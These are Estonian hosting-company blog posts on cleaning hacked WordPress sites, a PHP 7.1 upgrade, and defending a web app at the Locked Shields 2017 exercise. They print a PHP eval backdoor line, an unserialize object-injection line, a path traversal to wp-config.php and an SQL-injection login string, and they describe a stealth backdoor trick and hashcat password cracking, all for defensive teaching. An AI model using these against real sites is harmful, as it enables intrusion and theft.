Pöördlammutamine ehk pihtas-põhjas, nett on hukas

“Midagi võiks ära lammutada,” selgitas Birgy Lorenz, kui mult Küberolümpia ehk European Cyber Security Challenge 2017 eelvooru seminari jaoks ettekannet küsis.

Kuna täiesti juhuslikult oli minul samal ajal plaanis Muhu Väina regatil purjekat ja/või Riia linna lammutada, siis kasutasin võimalust ning vormistasin oma demod 13,5-minutiliseks videoks.

Sihtgrupist lähtuvalt on see pöördlammutamine “veidike” tehnilisevõitu, aga kindlasti õpetlik vaatamine kõigile veebirakendustega (eriti WordPressiga) tegelejatele. Pikem taustaselgitus allpool, sobib lugeda nii enne kui ka pärast video vaatamist.

Pöördlammutamine?

Lammutamise all mõtles Birgy seda, et võiks võtta ette mõne turvaprobleemidega süsteemi ja näidata, kuidas ühest väiksest august sisse pääsenuna õnnestub ka kõik muu üle võtta. Kuna ise endale ründeks probleemset veebi ette valmistades tekib alati selline… lati alt läbi mineku tunne, otsustasin sedapuhku veidi keerulisema tee kasuks. Võtsin ette 5 viimasel ajal maha häkitud WordPressi, mille puhastamiseks kliendid Zone klienditoe tehnikute abi on kasutanud ja seadsin endale järgmised ülesanded:

  • tuvastada kogu veebis olev pahavara (sellest ka “pöördlammutamine”)
  • lisada leitu ühele tühjale ja anonüümsele WordPressile
  • testida levinud pahavara-skännereid ja määrata nende efektiivsus
  • selgitada välja tõenäoline sissehäkkimise viis
  • rääkida tulemus lahti videos, mis on lühem kui 10 minutit

Viimane punkt läks veidi lappama, sest õpetlikke näiteid kogunes kahjuks rohkem kui 10 minuti sisse mahtus.

Eriti räpane WordPress

Eksperimendi üheks ajendiks oli ka maikuus FB WordPress Eesti grupis toimunud arutelu WP turvapluginate ja skannerite efektiivsuse teemal. Kuna mu eelmise aasta pahavara-näidiste komplekti olid erinevad teenused hakanud üsna kergesti ära tundma, kasutasin vabu hetki jõudmaks puhastamist vajavatele veebidele jaole enne tehnikute tööleasumist, kogusin tõendusmaterjali rünnete kohta ning tegin läbi lihtsustatud versiooni meie puhastus-protsessist: vahetasin välja WP ja kõik pluginad-teemad, seejärel lasin versioonihaldusel kuvada erinevusi ehk muudetud või lisatud faile.

Huvitavad näited – nakatatud ja pahavaralised pluginad, WP kataloogidesse ja koodi sokutatud tagauksed, kataloogitäied SEO-spämmi jms – tõstsin üle puhtasse WordPressi, pannes kõik probleemid kenasti tabelisse kirja.

Kas ma seda WordPress’i jagan kah? Kui on huvitav kasutusplaan ja usaldusväärne küsija, siis kaalun plusse ja miinuseid.

Tööriistad

Käsitsi oleks seda kõike nüri teha – eriti mitme veebi puhul. Minu tavapärane tööriistakohver näeb välja selline:

WPScan – käsurealt käivitatav utiliit, mis kasutab wpvulndb.com andmebaasi ja proovib leida WP enda ja pluginate-teemade teadaolevaid haavatavusi. Kohati annab see aimu võimalikust ründevektorist – nt mõni plugin, mis lubab path traversal’it ehk kuvada failide sisu, sh wp-config.php, kus on kirjas andmebaasi kasutajatunnused. Paraku ei saa WPScan alati täpselt pihta plugina versioonile, tekitades ohtralt lärmi valepositiivsete leidude näol. Ja samas oleme me kohanud saite pluginatega, mis ei ole kirjas üheski andmebaasis ja veelgi enam – haavatav versioon on endiselt WP plugina-saidist allalaetav.

Minu enda ctimer.php (mille leiab koos selgitustega blogipostist CSI küber – kas keegi on mu serveris faile muutnud?) – kuna ctime aeg läheb kirja kerneli õigustes, siis võib seda usaldada, erinevalt tavaliselt kuvatavast ja igaühe poolt muudetavast mtime ajast. Sortides faile ctime järgi hakkab sageli silma värskeim kahtlasel moel muudetud fail, mille asukoht võib reeta probleemse plugina või hoopis selle, et sissetung on toimunud adminnkasutaja parooli äraarvamise ja WP enda teema/pluginaeditori kaasabil. Või siis vähemalt on teada, millisest ajajärgust tuleks logisid uurima hakata.

Logid, grep ja less – sellest, kuidas logisid uurida, tuleks teha täiesti eraldi postitus. Arvestades nende suurust peaks käsurealt greppimine ja tulemuses ringi navigeerimine olema igal veebimeistril samamoodi käpas nagu HTML, CSS, Gulp, Bower jne. Sedapuhku tekkis paari saidi puhul justnimelt logisid vaadates mõte, et probleemiks on nõrk parool – sest teemafaile oli muudetud kohe pärast loginit.

hashcat – jõhker overkill kontrollimaks paroolide tugevust räside brute force’imise meetodil. Aga mingi tööriistaga pidi seda tegema ja ka maailma väikseim sõnastik, kus sisalduvad ainult kasutajanimed, saidinimi ja paar levinumat nõrka parooli on sõnastik. Minul oli lisaks reegel, mis proovis panna kasutajanime lõppu numbreid 1-9 ja lähemaid aastaarve.

Minu enda WP-CLI-põhine shellscript clinup – võimaldab ühe käsuga teha liigutusi nagu WP, pluginate ja teemade vahetamine sama (või värskeima) versiooni koodi vastu tehes iga sammu järel git commit, PHP otsimine uploads-kaustast, .htaccess abil elementaarsete piirangute kehtestamine ja palju muud huvitavat.

Õpetlikud näited

WPscan abil leiab pahalaste poolt ülevõetud veebidest sageli uuendamata ja teadaoleva turvaaugu pluginaid koos selle ärakasutamise õpetusega. Heal juhul selgub sellest kohe ka ülevõtmise meetod ehk lappimist vajav probleem.

Tavapärane ründaja töötab mõistagi täpselt vastupidi, ehk skannib kõiki ettesattuvaid veebe proovides leida nõrkusi, mille jaoks on tema tööriistakohvrikeses rünne juba olemas.

Kataloogihüpe

Enamasti pakub ründajatele huvi võimalus faile üles laadida, aga oluliselt levinum turvaprobleem on path traversal ehk kataloogihüpe – seda kasutatakse ära nägemaks wp-config.php’st andmebaasi kasutajatunnuseid.

Videos demongi ühte sellist probleemi kasutades Font plugina versiooni 7.5, mis ühes nakatunud veebis kasutusel oli:

Tähelepanelik vaataja märkab siinkohal kindlasti, et selle kirjelduses on mainitud ka “authenticated” ehk siis probleemi ärakasutamine eeldab sisseloginud kasutajat. See ei pea aga üldsegi tähendama admin-kasutajat. Kuna tolles veebis oli paigaldatud ka WooCommerce, siis oli täiesti võimalik regada endale kliendi-konto ning olles sellega sisse loginud, teha vastav pöördumine, sest ei kontrollita admin-õigust, vaid lihtsalt sisselogimist:

Olgu öeldud, et üks kahtlasevõitu epostiga kasutaja oli seal veebis ka olemas. Paraku märkasin seda alles pärast salvestamist, seega jõuan video lõpus veidi teistsugusele ja oluliselt lihtsamat ligipääsu võimaldavale järeldusele.

Aga üks näide käib selle plugina juurde veel: kui teha koodis vaevumärgatav muutus ehk eemaldada ülaloleval ekraanilasul valitud nopriv_, siis kaob vajadus sisselogimise järele. Kui muuta lisaks plugina versioon värskeimaks olemasolevaks, siis on mul veebis ideaalne tagauks: see ei näi põgusal vaatlemisel kahtlane ning veebimeister võib WordPress’is pluginaid uuendada ja andmebaasi-paroole vahetada palju tahab.

Tõsi – on üks väike nipp, mis sellise probleemi vastu aitab: kui kasutada uuendamiseks WP-CLI käsurea-utiliiti, siis saab anda kaasa parameetri --force, mis tagab ka olemasolevate pluginate re-installi (juhul, kui need kasutavad standardset uuendusprotsessi st ei ole käsitsi kusagilt paigaldatud). Ja kui ükshaaval ei viitsi uuendada, siis võib küsida nimistu ja lasta tsükliga:

wp plugin install $(wp plugin list --field=name) --force

Ja seejärel võib vaadata, et mis kataloogid jäid viimase 15min jooksul vahetamata ning need käsitsi üle käia:

find wp-content/plugins -maxdepth 1 -type d -mmin +15 -exec basename {} \;

Videos teen ma sama oma veidi keerukama clinup skriptiga, mis oskab vahetada hetkel kasutusel oleva versiooni vastu ja ühtlasi iga sammu vahel git commit teha, kuvades mugavalt kõik muutused:

Teepaljang

Tunnistan, et olen ka ise full path disclosure ehk teepaljangule liiga vähe tähelepanu pööranud. Kui veebis on äraarvatavas asukohas viga andev PHP-fail, siis kuvab veateade vaikimisi välja faili asukoha kettal:

Kuna mul esimesel katsel tavapärane kataloogipuus ülespoole liikumine ehk ../../../wp-config.php tulemust ei andnud – ilmselt tegin miski kirjavea – leidsin äraarvatavast asukohast ehk teemakataloogist hõlpsalt faili, mis reetis veebiserveri juurkataloogi.

Hea oleks vigade väljastamine juba php.ini’s ära keelata – meie puhul sobib selleks phpini/global/php.ini fail (ülejäänud on automaatselt genereeritud ja neid kasutaja muuta ei saa):

[PHP]

display_errors = Off

… aga siis tuleks meeles pidada, et nii on tehtud ja edaspidi vigu ikka logidest otsida ja mitte helistada klienditoele teatega “mu veeb kuvab valget lehte”.

Ääremärkus – juba mõnda aega leiavad PHP 7 kasutajad logs kataloogist ka viimaste päevade PHP-vealogid ning sümbollingi käsiloleva päeva logile.

Jagatud serveri needus: jagatud andmebaasiserver

Ja mis nende andmebaasi-paroolidega pihta hakata? Jagatud serveri puhul on jagatud ka andmebaasiserver ja PHPmyadmin vms lihtne haldusvahend… ning sealtkaudu saab endale adminn-kasutaja lisada või mõne olemasoleva parooliräsi korraks ära muuta. Zupsti sisse-välja… ja tehtud. Valus hakkab pärastpoole.

Selle vastu väga head lahendust ei ole. Võiks ju keelata PHPmyadmin’i kasutamise, aga teisest samas serveris olevast ülevõetud veebist saab ikka ligi, sest IP millega ligipääsu saab piirata on sama. Eriti paranoilised isikud – nagu mina – võivad muidugi salvestada paroolid Apache direktiivide abil keskkonnamuutujatesse ja siis neid kasutada:

Ja wp-config.php-s:

define( 'DB_NAME', $_ENV['DB_NAME'] );
define( 'DB_USER', $_ENV['DB_USER'] );
define( 'DB_PASSWORD', $_ENV['DB_PASSWORD'] );
define( 'DB_HOST', $_ENV['DB_HOST'] );

(just-in-case kõik mu muud nipid veebi kaitsmiseks alt veavad)

Tavaline ja ebatavaline tagauks

Harilikult leiab veebist tagauksed ja pahavara koodi vaadates üsna kergesti üles – sest sealt paistavad eval(), system(), base64_decode() vms funktsioonide kõrvad:

Sedapuhku hakkas mulle aga silma ka haruldasem elukas – nimelt oli ühes failis selline rida:

echo preg_filter('|.*|e', $_REQUEST['oneman'], '');

PHP on selline tore keel, kus regex’is on olemas modifikaator e ehk PREG_REPLACE_EVAL , mis on varmalt valmis kõike leitut eval()’ima ehk kasutaja sisestatut käsuna täitma. See on eemaldatud PHP versioonis 7 – aga aastal 2012 loodud veebiserveris versiooni vahetamine on nõrkadele…

Misiganes põhjusel on parimad nimistud innovatiivsetest tagauksestatud koodinäidistest hiinakeelsetes veebides, ei hakka siinkohal linkima, aga googeldades “php callback backdoor”, siis peaks üht-teist välja ilmuma (saitide külastamine omal vastutusel).

Lisaks hakkas mulle FlickrPress plugina (tänaseks kataloogist eemaldatud) koodis täiesti juhuslikult silma rida:

 $something = unserialize(@base64_decode($_REQUEST[‘something’]));

See võimaldab PHP Object Injection ehk PHP objektisüsti haavatavuse ärakasutamist. Mugava proof-of-concept koodi – sest objektisüst eeldab ärakasutamiseks sobiliku objekti olemasolu – leiab Plugin Vulnerabilities blogipostitusest. Proovime järgi:

Tähelepanelik vaatleja kindlasti märkab, et ma olen teinud täiesti suvalise alamlehe pihta GET-päringu andes pluginas oleva turva-augu aktiveerimiseks vajalikud parameetrid kaasa küpsisena. See plugin loeb parameetreid $_REQUEST globaalmuutujast – mis ei ole hea praktika – ning sinna jooksevad seadistusest (variables_order ja request_order) sõltuvalt kokku $_GET ja $_POST parameetrid… ning $_COOKIE.

Ääremärkus: ajaloolistel põhjustel on ka meil Zones vaikimisi variables_order väärtuseks ‘EGPCS’. Kui me selle tihedamaks keeraks… läheks kellelgi midagi katki. Ilmselt peaks lisama võimaluse seda seadistada. Seniks võib phpini/global/php.ini faili panna lisaks ülalviidatud vigade väljastamise keelule ka rea request_order = 'GP'

Kuivõrd video tegemise seisuga polnud seda pluginat kirjas levinud haavatavuse-baasides ega fixitud, siis võib seda ilmselt zero-day’ks nimetada.

Autor sai vastutustundlikult teavitatud, oli juba enne teadlik … ja võttis selle tulemusel plugina (“Viimati uuendatud: 8 aastat tagasi”) ametlikust kataloogist üldse maha.

Ehk kõik, kellel see plugin kasutusel, on edaspidi endiselt haavatavad ja neil puudub ka adekvaatne viis ohust teada saada. Äärmiselt sobilik näide illustreerimaks “uuendamine ei pruugi olla lahendus” väidet.

Ääremärkus – raporteerides FlickrPress’i saatsin kordusteate ka ühe teise plugina turvaprobleemi kohta, mille vastu suunatud ründe avastasin juba pool aastat tagasi. Ma puhtalt huvi pärast ootan, et kaua läheb fiksimisega.

Pahavara tuvastamise tõenäosus

Kui me juba müütideni jõudsime, siis lammutaks ära veel ühe – “veebiserverist on võimalik asjakohase tööriistaga leida üles pahavara sisaldavad failid ning need siis ära kustutada või puhastada”. Veidi muudetud väide on samas tõene: “On võimalik leida pahavara sisaldavaid faile, kui neid on piisavalt palju ja need vastavad levinud mustritele.”

Leitava pahavara protsent sõltub tööriista võimekusest ja häälestuse tundlikkusest. Mina võtsin ette Zone+ all pakutava Nimbusec’i, Revisium’i tasuta tööriista AI-bolit tavalises ja “paranoia”-reziimis ning WP pluginad Quttera ja GotMLS. Kontrolliks võtsin testi ka Nod32 ja DrWeb antiviirused, aga nende tulemus on allpool igasugust arvestust (ning ClamAV leidis veel 2x vähem).

Teades kõiki muudetud faile (52 olulist näidet) oli lihtne teha andmebaasi-rakendus, kuhu saan lugeda sisse tuvastuste raporti ning tulemused tabelina kuvada:

Valepositiivsete protsent on arvestatud leidude suhtes, sest nii tundus loogilisem. Kasutaja jaoks annab “leitud 10 reaalset ohtu ja 5 valepositiivset” põhjal rehkendatud 50% ilmselt rohkem infot, kui protsent kõigist WP all olevatest failidest.

Järjekordselt oleme rahul oma valitud Nimbusec’iga – tuvastus on piisavalt hea tagamaks toimimise suitsuandurina ehk andmaks märku veebi tabanud probleemist, samas ei tekita tavakasutajas liigselt paanikat valepositiivsetega.

Aga isegi kõige paranoilisem AI-bolit skooris vaid 90% probleemsetest failidest – ehk maha tuleks matta (ja raske kiviga katta) lootus, et mingi skänni abil saab veebi puhtaks. Ainus lahendus on kõik mis võimalik ära asendada. Ja ülejäänu käsitsi üle käia või minema visata.

Ja lõpuks – kuidas siis ikkagi sisse saadi?

Viimase kahe näidispakki lisatud veebi puhul tundus mulle kahtlane, et probleemiks oli mõni plugin, pigem oli tuldud sisse admin-kasutajana ja faile muutes endale laiem ligipääs rajatud.

Hüpoteesi kontrolliks otsustasin “Paha Panda” meetodit ehk nõrkade paroolide äramõistatamist kasutada. Võtsin ette hashcat’i ning tekitasin sõnastiku enamlevinud paroolidest, uuritavates saitides olnud kasutajanimedest ja lisasin reegli, mis proovib esimest tähte suureks teha ja lõppu numbrit lisada.

Tulemuseks – mu läpakas ei jõudnud veel ventilaatorit käima panna, kui hashcat juba räsidele vastavad paroolid välja sülitas:

Esimene neist on täpselt reaalse saidi kasutajanimi ja parooliräsi (sedapalju siis soovitusest, et admin kasutaja asemel mõne teise nime kasutamine turvalisust tõstab – kasutajanimede kokkulugemine pole tead-mis keeruline), aga teise puhul on parool ohvri isiku kaitseks ära muudetud.

Pihtas-põhjas, nett on hukas…

ps. kui lugesid alustuseks teksti läbi – tubli! – siis ära unusta lisaks ka videot vaadata 🙂

PHP 7.1 Apache moodulis – ja serverites vaikeversioonina

Kätte on jõudnud aeg teha korraline PHP vaikeversiooni uuendamine, sest 1. juunil 2017 saab täis 6 kuud PHP 7.1 reliisist. Muudatus puudutab peamiselt uusi tellitavaid Virtuaalservereid ja neid, kes on valinud PHP režiimiks Apache mooduli ehk SAPI (kogu meie serveripargi peale on neid alla 200) – aga ka neid, kes käsurealt, cron’is või skriptis kasutavad vaikeversiooni.

Kuna erinevused PHP 7.0 ja 7.1 vahel ei ole suured (vt Migrating from PHP 7.0.x to PHP 7.1.x) siis eeldame, et üleminek läheb veel sujuvamalt kui mullune 5.6 -> 7.0 vahetus.

Aga olgu siinkohal ära toodud ka kõik muutused – ning võimalused vajadusel vanemat versiooni pruukida.

Uutel Virtuaalserveritel vaikimisi PHP FastCGI 7.1

Iganenud versioonidele toe pakkumine on meie jaoks tõsine väljakutse – seega on oluline saada vähemalt uued kasutajad võimalikult värskele versioonile.

See võib olla probleemiks vaid väga eakate ent endiselt uute saitide tegemisel kasutusel olevate rakenduste nt Magento 1.9.x paigaldamisel – aga ka nende puhul soovitame kasutada saadaolevaid tööriistu ja kulutada veidi aega üleminekuks PHP 7 peale, sest viimase 5.x PHP versiooni ehk 5.6 tugi lõppes 19.01.2017 (kriitilised turvapaigad kuni 2018 lõpuni – vt Supported versions).

SAPI ehk Apache Module režiimis PHP

Vaikimisi on Virtuaalserveri (või selle alamdomeeni) seadetes kasutusel FastCGI režiim mis võimaldab kasutajatel ise versiooni valida – kui aga oled selle muutnud Apache Module’iks, vahetub selle versioon 1. juunil 7.1’ks.

Ühilduvusprobleemide ilmnemisel on võimalik minna sobiliku versiooni FastCGI peale – aga arvestada tuleks erinevate failiõigustega. Kõik Apache mooduli poolt lisatud pildid, cache jms on mõistagi loodud veebiserveri kasutaja õigustes ja neile ei pruugi kirjutamisõigustes ligi pääseda ei FastCGI režiimis kood ega kasutaja FTPga. Õiguste muutmist saab vajadusel adminnidelt küsida kirjutades info@zone.ee

Shellis vaikimis käivitatav PHP

Käsuga which php on näha, et käivitatakse /opt/zone/bin/php mis sümbollingib edasi vaikeversioonile, edaspidi on selleks php71-cli. Soovides mingil põhjusel käivitada varasemat versiooni saab seda teha nt /opt/zone/bin/php70-cli abil.

/usr/bin/env php kasutavad skriptid

Levinud viis käivitada skript kasutaja keskkonna-muutujate kontekstis on /usr/bin/env php – näiteks hakkab Composer pihta nii:

Sisuliselt ei tee see muud, kui käivitab esimese rajas (path’is) ettejuhtuva PHP… milleks edaspidi on 7.1. Composer on selle üle kindlasti rõõmus.

Aga sama meetodit kasutab ka … näiteks ametlikult ilma 7.1 toeta Magento 2.0.x käsurea-utiliit bin/magento, mille abil on realiseeritud muuhulgas cron-tööde jooksutamine… miska soovitaks soojalt kaaluda uuendamist Magento 2.1.x peale. Või olla muutusest teadlik, juhul kui peaks mingeid anomaaliaid ilmnema.

Äärmärkus, lisatud 02.06: ilmneb, et ka Magneto 2.1 ei toeta PHP 7.1 – küll aga on devdoc’is olnud vigane väide nagu toetaks. Tx Sander Vallaots selle probleemi otsa komistamast, vigadega maadelmast ja teavitamast. Lahenduseks on alltoodud “ln -s …”.

Kui aga hädasti on vaja vanemat versiooni püsikasutada – siis kuna rajas on esikohal kasutaja kodukataloogi ~/bin  (/data0x/virtxxxxx/bin) saab igaüks sinna tekitada endale sobiliku sümbollingi, näiteks versioonile 5.6:

ln -s /opt/zone/bin/php56-cli ~/bin/php

Kontrollimiseks võib korraks shellist välja-ja-sisse logida nign teha php -v veendumaks, et nüüd käivitud 7.0.15 (või uuem).

Aga see kohandus tasuks endale keemilise pliiatsiga otsaette kirjutada, sest muidu mõtleb tuleviku-mina ennast kringliks. Või siis meie klienditugi.

Cron-töödes käivitatav PHP

Seadistades veebiliidesest süsteemse cron’i saab kasutada muutujaid:

[[$PHP]] viitab jällegi serveri vaike-versioonile, aga vajadusel võib määrata endale sobiva, nt [[$PHP56]].

Paraku ei ole sellest abi, kui PHP käivitamine toimub läbi shelliskripti – minul on kombeks nii teha WordPressi uuendusi WP-CLI abil, aga ka Magento 1.9.x puhul (jälle see Magento!) on rangelt soovituslik viis käivitada mitte cron.php vaid cron.sh – mis siis käivitab 2 cron.php’d *.

Selles olukorras versiooni jõustamiseks saab abi samast sümbollingi nipist mis ülevalpool juba kirjeldatud – tõsi, tuleb tunnistada, et ~/bin ei olnud meil kuni eilseni cron’i puhul kasutatavas rajas, nüüd aga on (ja cron-tööd käivituvad nüüd ~/tmp all, tagamaks nende > väljundi sattumise kohta, kus kasutajal on kirjutamisõigus).

* “Aga mis juhtub siis, kui käivitada cron.php?” – “Siis, mu noor sõber, tõmmatakse shell_exec() abil käimacron.sh ja see käivitab 2 cron.php’d.”

LS17 – üks jube tudengiprojekt “väikse” tagauksega

Siin postituses kirjeldan eelkõige ainult omaenda tegevust, kuid suures plaanis oli see vaid tilk meres, iga teine võistkonna liige tegi oma süsteemide kaitsmisel vähemalt sama palju või rohkem.

Veebirakenduse kaitsmisest pole suurt kasu, kui näiteks võrk ei tööta või serverid ei käivitu. Pealegi oli see vaid üks osa tehnilisest süsteemist, aga lisaks tehnilisele käis kibe töö ka muus osas, mis käis juba üle meie peade. Juriidiline osa, meedia, koordineerimine jne.

See postitus on teine osa järjejutust, mis võtab kokku Andrise ja Peetri poolt Locked Shields 2017 küberõppusel kogetu.
Loe ka:

Ettevalmistus

Esialgu teadsime nendest rakendustest ainult nii palju, kui üldskeemi pealt oli näha. Osaliselt võis aimata, et millega tegu, osaliselt mitte nii väga, nii et vähemalt mina midagi väga ette planeerida ei osanud.

Tutvumispäevadel, nädal enne õppuse algust, pääsesime ligi juba kõikidele süsteemidele, va. üks puuduv veebirakendus, mille kohta oli teada ainult selle üldkirjeldus. Kuna see veebirakendus oli üks minu ülesannetest, siis jäi sellevõrra rohkem aega vaadata üle muid oma vastutusvaldkonna asju. Koos kolleeg Peetriga majandasime erinevaid veebirakendusi ning saime selleks vajalikku tuletoetust Linuxi adminnidelt.

Esialgu tundus kõik üsna keeruline, tegelesin e-posti serveriga, kuhu olid paigaldatud ka veebipõhised mailikliendid ning rakenduste paljususe tõttu paistis auke igalt poolt. Minu suurimaks lemmikuks oli näiliselt juhuslike “vigade” (muutuja nime muutev trükiviga siin, konfiguratsiooniviga seal jne.) tõttu tekkinud olukord, kus veebi kaudu ligipääsetavasse faili logiti kõike, sh. kõikide kasutajate paroole, mida normaaloludes kuidagi juhtuda ei tohiks.

Teise päeva lõpuks tundus asi juba täiesti kontrolli all olevat. Toimetasin serveris rahulikult ringi, otsisin vigu, parandasin neid ning tegin koopiaid (vahetult enne võistlust tehti kõikidele süsteemidele initsialiseerimine ja parandused oleksid kaotsi läinud), kui monitooringu poolelt tuli äkki teade, et sellessamas masinas istub mingi beacon. Läksin ja vaatasin, tõepoolest olid monitooringus näha kummalised payloadid C&C serverisse.

Vasak silm hakkas tõmblema.

Päev 0

Esimene õppusepäev oli samuti harjutuspäev. Nüüd olid kõik süsteemid lõplikul kujul üleval ja saime nendega kuni õhtuni toimetada, mil need seekord juba viimast korda initsialiseeriti. See muidugi tähendas, et ka minule määratud üllatusrakendus oli masinas olemas.

Esialgu paistis see olevat tavaline PHP+MySQL veebirakendus, kuid ühes kaustas asusid veel mingid shelli skriptid ja teises asus midagi, mis paistis nagu Pythoni deemon. Juba põgusa pealevaatamise alusel võis hinnata, et rakendus oli kõikvõimalikke auke täis. Mis polnud ka ime, arvestades, et rakendus oligi kirjutatud spetsiaalselt selle võistluse jaoks.

Esimese asjana võtsin ette PHP koodis SQL-injectionid. Neid oli muidugi igat sorti, osaliselt olid koodis SQL argumendid töödeldud addslashes funktsiooniga SQL päringu stringi sees, osaliselt pandi $_REQUEST muutujast tulevad väärtused lausesse otse (injection!), osaliselt kasutati custom töötlemisfunktsioone, mis kasutasid muidu küll addslashes’it, aga tagastasid tulemusest vaid fikseeritud pikkusega osa (peidetud injection!), mis omakorda oleks võimaldanud stringe lõpetada tagurpidi kaldkriipsuga.

Joonis 1.  Kui $user_id oleks string, tuleks sealt eemaldada kõik, mis võimaldab kavandatud SQL lausest välja hiilida, täisarvu puhul oleks õigem teha kohe intval($user_id). addslashes() on turvalisema mysqli_real_escape_string() asemel kasutusel kuna maandas enamuse riskist, oli lihtsam lisada ja võimaldas seetõttu suurema hulga koodi üle käia. Päris-elus tuleks võtta kasutusele PDO ja prepared statement. Selles kiiruga tehtud paranduses on muideks üks kala sisse jäänud  😉

Parandasin seejärel kõikvõimalikke muid koodi ja konfiguratsioonivigu. Küll oli vales kaustas lubatud valet tüüpi faile käivitada kui PHP’d (kirjutasin uued .htaccess reeglid kõikide kaustade jaoks), küll olid pildifailid PHP koodi täis (kirjutasin hex editoriga nendesse uue koodi), kõikvõimalikud tmp ja puhvri kaustad asusid web root kaustas ning olid muidugi ka veebist loetavad. Siis veel mitmel eri viisil koodi käimatõmbamine valest failist (ehk include $_REQUEST[‘page’];), veebist loetavad konfiguratsioonifailid (MySQL konto andmed!), kasutaja sessiooni andmete muutmine cookie kaudu jne.

Sinna juurde veel vead Apache enda konfiguratsioonis (täiendav rivi faililaiendeid, mida käivitati PHP koodina, lahtine cgi-bin, server-status jmt), eelinstalleeritud cron, kummalised PHP seaded (aegunud sessioonide GC oli välja lülitatud) jmt. Päeva lõpuks tundsin juba end päris hästi, paistis, et kõik on kontrolli all.

Joonis 2. Kui oled lasknud oma serveri üle võtta, tasub kahelda kõiges. Ükshaaval selliste pisimuudatuste otsimine on võimatu – turvalisem on kõik-kõik-kõik asendada originaalide või oma koostatuga. Ning jälgida, et süsteem ikka tõesti võtab konfifaile sealt, kust sina arvad.
Päev 1.

Algas esimene tegelik õppusepäev, kõik süsteemid olid taastatud jälle algseisu ning meile anti pool tundi peale mängude käivitamist, et oma parandused süsteemis ära teha. Kuna automaatsete parandustega tekkis mingi jama, lükkasin oma veebirakenduse muudatused üles kiirelt käsitsi. Kontrollisin, kõik töötas, läksin võtsin kohvi.

36 minutit ja 6 sekundit peale mängude algust lendas peale esimene rünnak, mis kohe ka õnnestus. Rakenduse veebilehelt vahtis vastu “Peace Brigade is here” sõnum, maatriksi rohelised kukkuvad sümbolid taustal. Suu kukkus lahti, mul oli kõik ju kontrolli all?

Tuli välja, et muidugi ei olnud asjad kontrolli all. Olin ära unustanud templiidifailid põhjalikult üle käia. Kuigi osa html koodi escape’imist tegin ära juba PHP koodi poolel, siis põhitöö käis templiitides. Midagi olin nagu teinud, aga ilmselt mitte piisavalt. Ahvikiirusel käisin siis kõik templiidifailid läbi ja toppisin escape filtreid täis ning kirjutasin baasis muudetud kirjed üle, et defacementi eemaldada.

Päris korda kohe kõike ei saanud, veidi läks veel neidsamu defacemente läbi ning lisaks õnnestus mul osad templiidid nii ära rikkuda, et osa funktsionaalsusest enam ei töötanud, kuna templiiti ei saanud laadida. Parandasin süntaksivead ükshaaval ära ning tundus, et kõik on jälle kontrolli all.

Kell 13:00 hakkas teine faas ning sellega koos hakkasid laekuma SQL-injectioni katsed. Nendega paistis siiski kõik korras ning kasutajad nimega 1=1 sisse logida ei saanud.

Joonis 3. Syslog ei pruugi olla küll kõige mõistlikum koht… aga hädaga ajab kiirema asja ära. Allpool loginäide lihtsamat sorti SQLi’st:
Apr 26 10:09:45 scheduler[9524]: url=/admin/login.php message=Login failed for "or/**/1=1# session=[]
Apr 26 10:09:45 scheduler[9524]: url=/admin/login.php error=Wrong username or bad password session=[]

Veel 10 minutit hiljem hakkasid tuvastamata põhjustel toimuma anomaaliad. Kõigepealt tekkisid vead rakenduse näitamisel, ilmnes et kettaruum on otsa saanud. Kettaruumi oli ära kulutanud /tmp kaustas asuv hiigelsuur fail. Vaatasin seda less’iga ja nägin vaid suurt kogust nullbaite.

Siis juba ilmnesid probleemid baasiga. Või õigemini selle puudumisega, keegi oli nimelt kell 13:41 andmebaasi ära kustutanud. Lisaks ilmselgele probleemile – veebikasutajal oli õigus kutsuda välja DROP DATABASE, mis sai käigu pealt ka parandatud, oli ikkagi küsimus, et kuidas?

Taastasime baasi backupist.

Mõne aja pärast hakkas veebirakendus näitama out of memory veateateid. Tuli välja, et baas oli jälle läinud. Seekord küll mitte täielikult (polnud enam kustutamise õiguseid), vaid tabelid olid tühjaks tehtud, va. üks mis oli täis gigabaitide jagu x tähti (selleks andis võimaluse tõsiasi, et viimne kui üks tekstiväli andmebaasis oli TEXT tüüpi). PHP rakendus proovis kõiki neid ridu ühte massiivi sisse lugeda ja sellest ka veateade.

Taastasime baasi backupist.

Nüüd läks asi päris hulluks. Otsustasin teada saada, et kuidas see kustutamine juhtub ning hakkasin kõikvõimalikku logimist peale keerama. Viga parandada ei proovinud, kuna ei teadnud, et kust otsida. Selle asemel lootsin saada uutest rünnakutest piisavalt palju infot, et auk selle kasutamise järgi üles leida.

Joonis 6. Tavapäraselt jookseb veebiserveri logisse päring – ja GET-päringu puhul ka parameetrid. POST-päringu body’s olevad parameetrid, aga ka küpsised jms, jäävad peitu. Nende logimiseks saab kasutada nt Mod Security’t, aga kui on kiire, tuleb leiutada. Igas rakenduses on mingi konfifail, mis laetakse igal päringul – see on ideaalne koht oma logimislahendusele… ja pilt on lõigatud ära realt, kust algas kaitsemeede.

Keegi kustutas baasi ära, meie lasime selle kohe tagasi ja nii mitmeid kordi. Lõpuks hakkas tekkima failidesse pahaseid sõnumeid, et tegeleme cheatimisega. Mõtlesin, et võiks kuidagi vastata, aga ei viitsinud. Sest lõpuks oli eesmärk käes, sain piisavalt infot, et mis toimub. Paraku kaasnes sellega ka 250 miinuspunkti, sest pidev taastamine kohtunikele ei meeldinud.

See keegi kasutas rakendust ennast webshellina. Saatis sinna kodeeritud pakette, mis tõmmati mingil viisil PHP koodina käima. Päris hästi ei saanud aru, et kuidas see mehhanism töötab, aga paha payload oli kätte saadud ning panin sisenemisaugu kinni, nii et seda rohkem käivitada ei saaks.

Joonis 4. Veebirakendus endiselt töötab

Ma ei hakka siinkohal avaldama, et kuidas webshell täpselt töötas, kuna hammustasin selle lahti alles peale võistlust. Võistluse ajal sain vaid aru, et payload on base64 kujul mingisugune läbu, olid omad kahtlused selle sisu formaadi kohta, aga päris kindel ei olnud. See jõudis rakenduseni ja seal siis mingi asi võttis payloadi lahti ja pani käima.

“Aga miks te lihtsalt päringu parameetreid ei filtreerinud?” Kui pahalane on sinu koodis sees, siis võib ta mõelda välja lõputult lahendusi, kuidas see kood saab oma peremehega suhelda. Oleme kavalad ja teeme intval($some_id) – aga võibolla tilguvad käsud sisse selle sama ID järjestikuste väärtustena? Ainus lahendus on tagauks üles leida, ideaalmaailmas tehes totaalse code-review… piiratud ressursi puhul tuleb logida ja leppida sellega, et mõned ründed läbi pääsevad.

Vaikselt hakkas ka paranoia tekkima. Iga nurga tagant paistsid punaste kõrvad:

Mul on siin mingid kummalised OPTIONS päringud. JA NEED TULEVAD LOCALHOSTIST!
